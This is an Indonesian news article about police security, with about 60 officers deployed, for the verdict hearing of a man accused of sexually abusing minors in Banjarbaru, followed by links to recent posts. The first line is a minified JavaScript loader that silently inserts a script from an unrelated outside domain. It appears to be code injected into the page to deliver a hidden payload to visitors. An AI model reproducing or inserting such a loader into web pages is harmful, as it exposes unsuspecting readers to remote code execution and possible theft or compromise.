(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Hadapi Vonis Besok, Sidang Abah Itab Dikawal Sekitar 60 Polisi


BANJARBARU, Terdakwa Abah Itab akan menghadapi sidang putusan atau vonis atas kasus pencabulan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/7) siang. Kejaksaan Negeri Banjarbaru bekerja sama dengan Polres Banjarbaru akan mengamankan jalan proses sidang nanti.

Kasi Pidum Kejaksaan Negeri Banjarbaru Ahmad Budi Mukhlis SH MH  kepada Kanal Kalimantan mengatakan, ada sekitar 60 personil kepolisian didatangkan untuk mengamankan jalannya proses sidang tersebut.

“Untuk sementara 60 personil akan dikerahkan, nanti bisa ditambah sesuai dengan kebutuhan,” ujarnya,

Banyaknya anggota kepolisian yang didatangkan karena melihat situasi sidang-sidang sebelumnya, dimana selalu dipenuhi massa yang geram atas tindakan Abah Itab. Jelas saja pada kasusnya sendiri Abah Itab resmi menjadi tersangka setelah melakukan pencabulan terhadap korban-korbannya dengan mengatas namakan agama. Tidak tanggung-tanggung, korbannya sendiri bahkan masih anak di bawah umur.

Pada sidang pembacaan tuntutan, massa sekitar 50 orang itu berdatangan dan mengikuti jalannya proses sidang dari luar ruangan karena sidang tersebut digelar secara tertutup. Dalam pembacaan tuntutan saat itu, terdakwa Abah Itab dikenakan hukuman maksimal yaitu pidana penjara 15 tahun denda Rp 2 miliar subsider 6 bulan kurungan.

Wahyu (53) salah satu jamaah yang turut ikut dalam massa saat itu mengungkapkan keinginan mereka agar hukuman Abah Itab jangan sampai direndahkan alias semaksimal mungkin karena ini menyangkut anak di bawah umur.

“Meskipun hukumanya 15 tahun, masa depan anak tidak akan bisa dikembalikan. Jadi hukum semaksimal jangan direndahkan,” tegasnya saat itu.

Beberapa pekan kemudian, sidang dengan agenda pledoi pembelaan, massa kian beringas. Saat itu massa mulai membawa kertas yang bertulisan cercaan dan olok-olokan terhadap terdakwa. Segala iring-ringan teriakan hingga massa yang mengejar terdakwa saat akan dimasukan kembali ke mobil tahanan membuat situasi sidang semakin mencengkam.

Meski hingga saat ini tidak ada kontak fisik, hal itu dikhawatirkan dapat menggangu jalannya proses sidang. Dugaan adanya massa yang lebih banyak akan datang, penambahan personil dari Polisi dan internal Kejaksaan telah dipersiapkan.

“Semoga tetap aman dan kondusif. Saya meminta kepada massa nantinya apapun putusan dari majelis hakim tolong dihormati. Dari Kejaksaan sendiri akan mempelajari dulu isi putusannya” pungkas Ahmad Budi Mukhlis

Sidang putusan besok akan dipimpin Ketua Majelis Hakim Liliek didampingi dua hakim anggota Vivi Indrasusi S.SH, MH dan Achmad Faisal M SH MH. (rico)

Reporter:Rico
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

6 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

8 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

23 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

24 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

1 hari ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

1 hari ago

This website uses cookies.